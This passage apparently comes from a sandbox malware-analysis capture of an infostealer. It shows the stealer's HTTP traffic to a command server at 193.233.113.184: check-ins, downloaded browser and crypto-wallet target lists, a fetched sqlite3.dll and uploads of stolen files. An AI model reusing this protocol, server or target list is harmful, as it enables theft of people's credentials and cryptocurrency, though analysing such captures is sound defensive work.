41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="hwid"7EE48185CA661964116302------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="build"LogsDiller------GDGDHJJDGHCAAAKEHIJK--
Sep 24, 2024 21:30:03.541241884 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 47 56 6d 59 57 49 79 4d 32 45 32 59 7a 52 69 5a 6d 4a 6b 4d 32 4d 32 59 32 51 31 5a 47 49 30 4f 44 4a 6d 5a 54 41 33 4e 54 68 6c 5a 6a 5a 69 4e 6a 6b 79 4d 7a 56 69 59 54 4d 33 59 57 5a 6c 4d 44 51 30 4f 54 42 6b 4e 32 51 78 5a 54 46 69 4e 54 4d 32 59 6d 52 6b 4e 32 52 6b 4d 54 55 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OGVmYWIyM2E2YzRiZmJkM2M2Y2Q1ZGI0ODJmZTA3NThlZjZiNjkyMzViYTM3YWZlMDQ0OTBkN2QxZTFiNTM2YmRkN2RkMTUyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 24, 2024 21:30:03.542912960 CEST	470	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAK Host: 193.233.113.184 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="message"browsers------ECAFHIIJJECGDHIEGDAK--
Sep 24, 2024 21:30:03.755285025 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 24, 2024 21:30:03.755342960 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 24, 2024 21:30:03.757524967 CEST	469	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBKJKJKKJDGDGDGIDG Host: 193.233.113.184 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 2d 2d 0d 0a Data Ascii: ------GHDBKJKJKKJDGDGDGIDGContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------GHDBKJKJKKJDGDGDGIDGContent-Disposition: form-data; name="message"plugins------GHDBKJKJKKJDGDGDGIDG--
Sep 24, 2024 21:30:03.969960928 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 24, 2024 21:30:03.970101118 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 24, 2024 21:30:03.970139027 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 24, 2024 21:30:03.970974922 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 24, 2024 21:30:03.971060991 CEST	896	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Sep 24, 2024 21:30:03.971894979 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Sep 24, 2024 21:30:03.971931934 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Sep 24, 2024 21:30:03.973310947 CEST	470	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEG Host: 193.233.113.184 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 2d 2d 0d 0a Data Ascii: ------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="message"fplugins------DAEBFHJKJEBFCBFHDAEG--
Sep 24, 2024 21:30:04.190502882 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 24, 2024 21:30:04.207067013 CEST	203	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIE Host: 193.233.113.184 Content-Length: 7895 Connection: Keep-Alive Cache-Control: no-cache
Sep 24, 2024 21:30:04.207067013 CEST	7895	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 Data Ascii: ------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 24, 2024 21:30:04.544095039 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:04.544758081 CEST	94	OUT	GET /53e0491f34ea3a8a/sqlite3.dll HTTP/1.1 Host: 193.233.113.184 Cache-Control: no-cache
Sep 24, 2024 21:30:04.756232977 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 24, 2024 21:30:04.756288052 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 24, 2024 21:30:04.756413937 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 24, 2024 21:30:05.837798119 CEST	203	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGDBFIJKEBGIDGDHCGC Host: 193.233.113.184 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Sep 24, 2024 21:30:06.175442934 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:06.981755972 CEST	203	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFH Host: 193.233.113.184 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Sep 24, 2024 21:30:07.318706036 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:07.371265888 CEST	565	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDBGHCBAEGCBFHJEBFI Host: 193.233.113.184 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 42 47 48 43 42 41 45 47 43 42 46 48 4a 45 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 42 47 48 43 42 41 45 47 43 42 46 48 4a 45 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 42 47 48 43 42 41 45 47 43 42 46 48 4a 45 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data 